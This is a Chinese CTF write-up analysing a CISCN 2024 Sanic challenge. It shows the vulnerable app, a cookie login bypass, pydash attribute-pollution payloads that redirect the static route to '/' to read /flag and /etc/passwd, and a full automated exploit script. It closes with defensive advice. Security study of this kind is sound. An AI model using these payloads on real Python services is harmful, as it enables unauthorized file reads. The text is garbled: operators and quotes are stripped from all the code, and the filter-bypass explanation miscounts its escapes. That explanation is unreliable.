从CISCN 2024 Web赛题解析Sanic框架下的Python属性污染漏洞

📅 发布时间:2026/7/10 9:52:50 👁️ 浏览次数:
从CISCN 2024 Web赛题解析Sanic框架下的Python属性污染漏洞
1. 从一道CTF赛题说起Sanic框架与属性污染大家好我是老张一个在Web安全和Python开发领域摸爬滚打了十来年的老码农。最近我复盘了CISCN 2024国赛的Web题目其中一道关于Sanic框架的题目让我印象特别深刻。它没有用那些花里胡哨的零日漏洞而是巧妙地利用了Python语言本身一个非常经典的特性——属性污染来绕过安全限制最终拿到flag。这道题出得很有水平把框架特性、Python语言机制和攻击手法结合得非常紧密。今天我就带大家从头到尾拆解一遍这道题不仅是为了复现解题过程更是想深入聊聊“属性污染”这个在Python安全里老生常谈却又常谈常新的问题。你可能听说过“原型链污染”那是JavaScript里的“明星”漏洞。而在Python的世界里虽然没有严格意义上的原型链但通过修改对象的__class__、__dict__、__globals__这些特殊属性我们同样可以达到“污染”其他对象、篡改程序逻辑的目的。这道Sanic赛题就是一个绝佳的案例。题目环境搭建了一个基于Sanic的Web应用核心功能点是一个需要管理员权限才能访问的/admin接口这个接口允许我们通过一个叫pydash.set_的函数去设置某个对象的属性。我们的目标就是从这个看似无害的功能点出发通过层层递进的属性链操作最终读取到服务器上的敏感文件。在开始之前我们得先明确两个东西Sanic和pydash。Sanic是一个异步Web框架以高性能著称它的请求处理对象、路由对象等都拥有丰富的属性结构。而pydash是一个工具库它的set_函数功能非常强大可以支持用点号分隔的字符串路径比如a.b.c来深度设置一个嵌套对象的属性值。正是这个“深度设置”的能力给了我们可乘之机。攻击的核心思路就是构造一个特殊的“key”字符串让pydash.set_沿着这个路径一路“走”下去最终修改到一些我们本不该触及的关键属性比如影响文件读取路径的配置。下面我们就进入实战环节。2. 漏洞环境搭建与初步分析为了能亲手实验我们首先得把靶场环境搭起来。题目给出的源码核心部分我已经整理好了你可以直接复制下面的代码到本地命名为app.py。运行前记得安装好依赖pip install sanic sanic_session pydash5.1.2。这里指定pydash版本很重要因为不同版本在内部实现上可能有细微差别会影响到利用链的构造。from sanic import Sanic from sanic.response import text, html from sanic_session import Session import pydash # pydash5.1.2 class Pollute: def __init__(self): pass app Sanic(__name__) app.static(/static/, ./static/) Session(app) app.route(/, methods[GET, POST]) async def index(request): return html(open(static/index.html).read()) app.route(/login) async def login(request): user request.cookies.get(user) if user.lower() adm;;n: request.ctx.session[admin] True return text(login success) return text(login fail) app.route(/src) async def src(request): return text(open(__file__).read()) app.route(/admin, methods[GET, POST]) async def admin(request): if request.ctx.session.get(admin) True: key request.json[key] value request.json[value] if key and value and type(key) is str and _. not in key: pollute Pollute() pydash.set_(pollute, key, value) return text(success) else: return text(forbidden) return text(forbidden) if __name__ __main__: app.run(host0.0.0.0)代码不长我们快速过一下逻辑。应用有四个路由首页/、登录/login、查看源码/src和管理员接口/admin。漏洞点显然在/admin接口。要进入这个接口首先得让session[admin]为True。而设置这个session的条件在/login接口检查cookie中user的值经过lower()处理后是否等于adm;;n。这里有个小陷阱;;看起来像是个绕过但其实是干扰项我们第一步就是要解决登录问题。登录成功后我们就能向/admin接口发送JSON数据包含key和value。程序会实例化一个空的Pollute对象然后用pydash.set_(pollute, key, value)来设置属性。这里有两个关键限制一是key必须是字符串二是key中不能包含_.这个子串。这个限制明显是想阻止我们使用__开头的魔法属性因为_.是pydash路径中的转义写法后面会讲。程序的本意可能是让我们只能设置Pollute实例的自定义属性但真的能防住吗我们接着看。3. 攻击第一步绕过登录与理解pydash.set_我们先解决登录问题。/login接口检查request.cookies.get(user).lower() adm;;n。这里lower()会把字母转小写所以我们需要一个cookie其user字段的值在转小写后等于adm;;n。注意;;是分号不是字母不受lower()影响。所以直接设置useradm;;n就行了吗这里有个坑在HTTP cookie中分号;是分隔符。如果你直接设置Cookie: useradm;;n服务器很可能只解析到useradm因为第一个分号就被当作cookie键值对的分隔符了。那怎么办我们需要对分号进行URL编码。在cookie值里我们可以将;编码为%3b或%3B。所以正确的cookie应该是useradm%3b%3bn。当服务器接收到这个值进行urldecode后得到的就是adm;;n再经过lower()比较就通过了。我们可以用curl命令或者写个Python脚本来发送这个请求成功后就会设置session[admin] True。为了方便后续操作我一般直接用Python的requests库写脚本管理会话session会更方便。import requests s requests.Session() url http://localhost:8000 # 先访问首页获取session cookie s.get(url) # 设置编码后的cookie并访问登录接口 s.cookies.set(user, adm%3b%3bn) resp s.get(url /login) print(resp.text) # 应该输出 login success登录搞定后我们正式面对/admin接口和pydash.set_函数。为了成功利用我们必须彻底理解这个函数的行为。pydash.set_的函数签名大致是set_(obj, path, value)。这里的path可以是一个字符串比如a.b.c函数会尝试沿着这个路径去设置值。如果中间路径不存在它会尝试创建比如将中间部分变成字典。最关键的是它支持“转义”语法。因为.在Python属性访问中是特殊字符如果你想设置的属性名本身就包含点号比如属性叫a.b那该怎么办pydash允许你用\\.来表示一个字面量的点号。也就是说字符串a\\.b.c表示先访问对象的a.b属性注意这是一个属性名不是a的b属性然后再访问它的c属性。看到这里你应该能反应过来题目中_. not in key这个限制的用意了。它想阻止我们使用\\.来转义点号从而无法在路径中插入__这样的魔法属性名。因为__在字符串里如果我们想把它当作普通属性名的一部分需要写成__而_.正好是这个转义序列的一部分。这个过滤看似巧妙但其实有漏洞。在Python字符串中反斜杠本身也是转义字符。在JSON数据中我们要表示一个反斜杠需要写成\\。所以如果我们想传递的路径是__class__\\.__init__...在JSON里我们需要写成__class__\\\\.__init__...。此时检查_. not in key是在我们提交的原始字符串上进行的也就是检查__class__\\\\.__init__...是否包含_.显然不包含因为我们的字符串里是\\\\.这是三个反斜杠和一个点。等这个字符串被Python解析、pydash处理时\\\\.才会被解释成一个转义后的点号\\.。所以这个过滤被我们绕过了。这是本题的第一个关键点。4. 构造利用链从对象污染到文件读取登录和过滤绕过都解决了现在我们来构思攻击链。我们的起点是一个干净的Pollute类的实例pollute。我们的目标是读取服务器上的任意文件比如flag。题目给了/src路由可以直接读源码这提示我们或许可以通过污染某个全局属性使得文件读取函数比如open的默认路径发生变化从而当我们访问/src时实际读取的是我们指定的文件。在Python中如何从一个任意对象出发影响到全局的文件操作呢这就要用到属性链爬升了。一个经典的起点是__class__。任何一个实例对象都有__class__属性指向它的类。所以pollute.__class__就是Pollute类本身。类也是一个对象它拥有__init__方法这是一个函数对象。函数对象有__globals__属性这是一个字典包含了该函数定义所在模块的全局命名空间。如果这个函数是在主模块__main__定义的那么__globals__就包含了整个应用的所有全局变量比如app、open、text等等。因此第一条属性链就是pollute - __class__ - __init__ - __globals__。通过pydash我们可以用路径__class__\\.__init__\\.__globals__来访问到这个全局字典。我们尝试一下把value设置成一个测试字符串看看能否成功修改全局变量。但这里要注意__globals__是一个引用直接设置__globals__本身可能不行但我们可以设置__globals__字典里的某个键。我们的目标是影响open函数但open是内置函数它的__globals__可能不是我们当前模块的。更直接的思路是影响应用本身。Sanic应用实例app就在全局变量里。我们可以通过__globals__.app访问到它。app对象有router属性里面存储了所有路由信息。我们的思路是修改某个路由的处理逻辑或配置使其行为发生变化。题目中正好有一个静态文件路由app.static(/static/, ./static/)。静态文件路由背后有一个处理器handler这个处理器里有很多配置项比如决定从哪个目录读取文件。如果我们能修改这个目录路径是不是就能让静态文件路由去读我们想要的任何文件了呢所以接下来的挑战就是找到这个静态文件路由处理器并定位到控制目录的那个属性。这需要我们对Sanic框架的路由结构有一定的了解或者有探索精神。我们可以先通过__globals__.app.router开始摸索。在Python交互环境里我们可以用dir()和.__dict__来查看对象的属性和方法。在攻击中我们则需要通过多次尝试利用/src路由回显的信息来间接探索。这就是一个“盲注”式的属性探测过程。5. 深入路由森林定位与污染静态文件处理器由于我们无法直接交互式地查看对象结构我们需要一种方法来探测属性链是否有效以及它指向了什么。题目贴心地提供了/src路由它会读取并返回当前运行的app.py的源码。这不仅仅是一个提示更是一个重要的“信息反馈”通道。我们最初的构想是污染__file__这个特殊属性。__file__表示当前模块的文件路径。如果我们在全局层面修改了__file__那么当/src路由执行open(__file__).read()时__file__的值已经变成了我们设定的路径它就会去读取那个路径的文件。所以我们的第一次实质性攻击尝试就是通过pydash去设置__globals__下的__file__属性。构造的JSON payload如下{ key: __class__\\.__init__\\.__globals__\\.__file__, value: /etc/passwd }注意在JSON中反斜杠需要转义所以实际发送的字符串是__class__\\\\.__init__\\\\.__globals__\\\\.__file__。发送这个请求到/admin接口如果返回success说明属性设置成功。然后我们立刻访问/src路由期待它返回/etc/passwd的内容。但实际操作中你可能会发现并没有成功。这是因为__file__是一个模块级别的特殊属性它可能被标记为只读或者它的修改并不会影响已经加载的模块。这条路可能走不通。我们需要换一个更稳定的目标静态文件路由。我们的思路是找到那个负责处理/static/路由的处理器对象然后修改它的“目录”属性。这需要更长的属性链。通过查阅Sanic源码或动态调试在本地环境我们可以找到大致路径。一个可能的探索过程是这样的app.router下有一个name_index或routes字典存储了所有路由。找到名为static的路由因为我们在注册时用了app.static它会有一个名字。这个路由对象有一个handler属性指向实际处理请求的函数或类。这个handler可能是一个RouteHandler对象其view或handler属性才是真正的处理函数。在处理函数相关的对象上找到控制目录的配置比如directory、directory_view、file_or_directory等属性。在题目给出的参考WP中作者经过一番探索最终找到了这样一条有效的污染链{ key: __class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view, value: True }这条路径非常长我们拆解一下__class__.__init__.__globals__.app拿到Sanic应用实例。.router.name_index路由名称索引是一个字典。.__mp_main__.static这里__mp_main__是关键。因为我们的模块是作为主模块运行的其模块名是__main__但在某些情况下比如多进程环境它会被重命名为__mp_main__。所以路由的完整名称可能是__mp_main__.static。这也是一个需要尝试的点。.handler.keywords.directory_handler.directory_view这一串就是在静态文件处理器内部寻找控制“目录视图”的开关。将其设置为True可能是为了启用某种目录列表功能。设置成功后我们还需要修改实际的目录路径。继续探索找到了directory._parts这个属性它可能是一个存储路径部分的列表。{ key: __class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts, value: [/] }这里将路径部分设置为[/]也就是根目录。这样一来静态文件路由的根目录就从./static/被我们污染成了系统的根目录/。6. 完成攻击读取flag与漏洞原理总结污染了静态文件路由的目录后我们如何读取flag呢访问/static/路径本身可能会列出根目录下的文件如果directory_view生效。但更直接的方法是我们知道flag文件的路径比如/flag或题目给出的/24bcbd0192e591d6ded1_flag那么直接访问/static/flag这个URLSanic的静态文件处理器就会去污染后的根目录/flag也就是/flag路径寻找文件并将其内容返回给我们。所以最终的攻击步骤是发送Payload 1设置directory_view为True。发送Payload 2设置directory._parts为[/]。访问http://靶机地址/static/24bcbd0192e591d6ded1_flag或/static/flag直接获取flag文件内容。回顾整个漏洞其根源在于pydash.set_函数提供了过于强大的属性访问能力而开发者没有对用户可以控制的path参数进行严格限制。虽然加入了_. not in key的过滤但被我们利用JSON字符串转义的特性绕过。更深层次的原因是Python对象的属性访问链a.b.c.d可以被用来遍历和修改程序内部的关键状态。这种“属性注入”或“属性污染”漏洞与PHP中的对象注入、JavaScript中的原型链污染在思想上是相通的。要防御此类漏洞核心原则就是永远不要允许用户输入直接控制对象属性的访问路径。如果业务确实需要动态设置属性必须将允许设置的属性范围严格限制在一个预先定义好的、安全的、与业务逻辑相关的白名单内。对于pydash.set_或类似功能可以编写一个包装函数对传入的path进行解析和校验禁止出现以__开头的属性名或者直接禁止使用点号分隔符改用其他更安全的方式传递键值对。7. 举一反三Python属性污染的其他利用场景通过这道题我们深入理解了Sanic框架下的属性污染利用。但它的意义不止于此。在更广泛的Python安全领域属性污染是一个基础且强大的攻击面。它不一定总能直接RCE远程代码执行但常常是突破逻辑隔离、进行敏感信息泄露、或为后续攻击铺平道路的关键一步。场景一篡改配置与逻辑标志。很多框架或库会将配置存储在对象的属性中。例如Flask的app.config是一个字典如果攻击者能污染到某个对象的__globals__并进而修改app.config[SECRET_KEY]那么就可以伪造session。或者修改一些功能开关如DEBUG True可能开启调试信息泄露。场景二利用内置函数与模块。通过__globals__可以拿到__builtins__这里面包含了所有内置函数如eval、exec、open、__import__等。一旦能控制这些函数的引用就有可能实现代码执行。在一些沙箱逃逸或模板注入SSTI的题目中这是常见的利用链起点。场景三影响序列化与反序列化过程。Python的pickle、marshal等序列化模块在反序列化时会根据对象的属性来重建对象。如果能在序列化数据被加载前污染某些类的属性如__reduce__方法就可能控制反序列化的过程导致代码执行。虽然这道题没用到但思路是连贯的。场景四结合其他漏洞扩大影响。属性污染本身可能只是一个信息泄露漏洞但结合其他漏洞就能产生质变。例如先通过属性污染泄露源码发现新的攻击面如SQL注入点或者污染某个缓存对象的键造成缓存穿透或缓存污染。在实际的代码审计中我们需要重点关注那些接收用户输入并用于动态访问对象属性的函数。除了setattr、getattr这种直接操作更要警惕像pydash.set_、pydash.get_、operator.attrgetter以及一些ORM框架中动态构建查询的函数。一个简单的安全守则是将用户输入视为数据而非代码或指令。任何将字符串“解释”为程序结构属性名、函数名、代码的行为都必须经过严格的审查和过滤。8. 实战演练编写自动化利用脚本光说不练假把式。最后我分享一个我用来复现这道题的完整Python脚本。这个脚本自动化了从登录、属性污染到最终读取flag的整个过程并且包含了一些错误处理和调试信息。你可以用它来加深理解也可以作为以后测试类似漏洞的模板。import requests import json import sys def exploit(target_url): s requests.Session() # 1. 访问首页初始化会话 s.get(target_url) # 2. 设置Cookie绕过登录 # 注意需要先访问一次以建立会话然后设置cookie再访问/login # 更稳妥的做法是在同一个会话中设置cookies并请求 login_url target_url.rstrip(/) /login # 使用requests的cookies属性直接设置注意值需要是解码后的 s.cookies.set(user, adm;;n) # 这里分号直接写requests会处理吗测试发现不行。 # 正确做法手动构造Cookie头或使用headers headers {Cookie: useradm%3b%3bn} resp s.get(login_url, headersheaders) print(f[*] 登录结果: {resp.text}) if success not in resp.text: print([-] 登录失败请检查Cookie构造) return False # 3. 污染静态文件路由的目录视图开关 admin_url target_url.rstrip(/) /admin payload1 { key: __class__\\.__init__\\.__globals__\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view, value: True } resp s.post(admin_url, jsonpayload1) print(f[*] 污染directory_view结果: {resp.text}) # 4. 污染静态文件路由的目录路径 payload2 { key: __class__\\.__init__\\.__globals__\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts, value: [/] } resp s.post(admin_url, jsonpayload2) print(f[*] 污染directory._parts结果: {resp.text}) # 5. 尝试读取flag文件 (假设flag在根目录下名为flag) # 先尝试通过/src路由读取污染后的__file__不我们直接访问静态路由。 # 根据题目flag文件路径可能是已知的例如 /24bcbd0192e591d6ded1_flag flag_paths [/flag, /24bcbd0192e591d6ded1_flag, /etc/passwd] # 用passwd测试 for path in flag_paths: static_url target_url.rstrip(/) /static path resp s.get(static_url) if resp.status_code 200 and len(resp.content) 0: print(f[] 成功读取文件 {path}:) print(resp.text[:500]) # 打印前500字符避免刷屏 if flag in resp.text.lower() or ctfshow in resp.text: print([] 发现flag内容) # 可以在这里提取flag break else: print(f[-] 读取 {path} 失败状态码: {resp.status_code}) # 6. 额外尝试污染__file__看看/src路由是否受影响通常不行但可试 payload3 { key: __class__\\.__init__\\.__globals__\\.__file__, value: /etc/passwd } resp s.post(admin_url, jsonpayload3) print(f[*] 污染__file__结果: {resp.text}) src_url target_url.rstrip(/) /src resp s.get(src_url) print(f[*] 访问/src路由长度: {len(resp.text)}) # 通常这里返回的还是app.py源码因为__file__修改可能不生效 if __name__ __main__: if len(sys.argv) ! 2: print(f用法: python {sys.argv[0]} 靶机URL) print(f示例: python {sys.argv[0]} http://localhost:8000) sys.exit(1) target sys.argv[1] exploit(target)运行这个脚本时你需要将靶机URL作为参数传入。脚本会依次执行登录、两次属性污染然后尝试读取几个可能的flag路径。通过这个自动化过程你可以清晰地看到每一步的请求和响应加深对整个利用链的理解。在真正的CTF比赛或者渗透测试中这种将手工探测过程转化为自动化脚本的能力至关重要它能帮你节省大量时间并确保攻击步骤的准确性。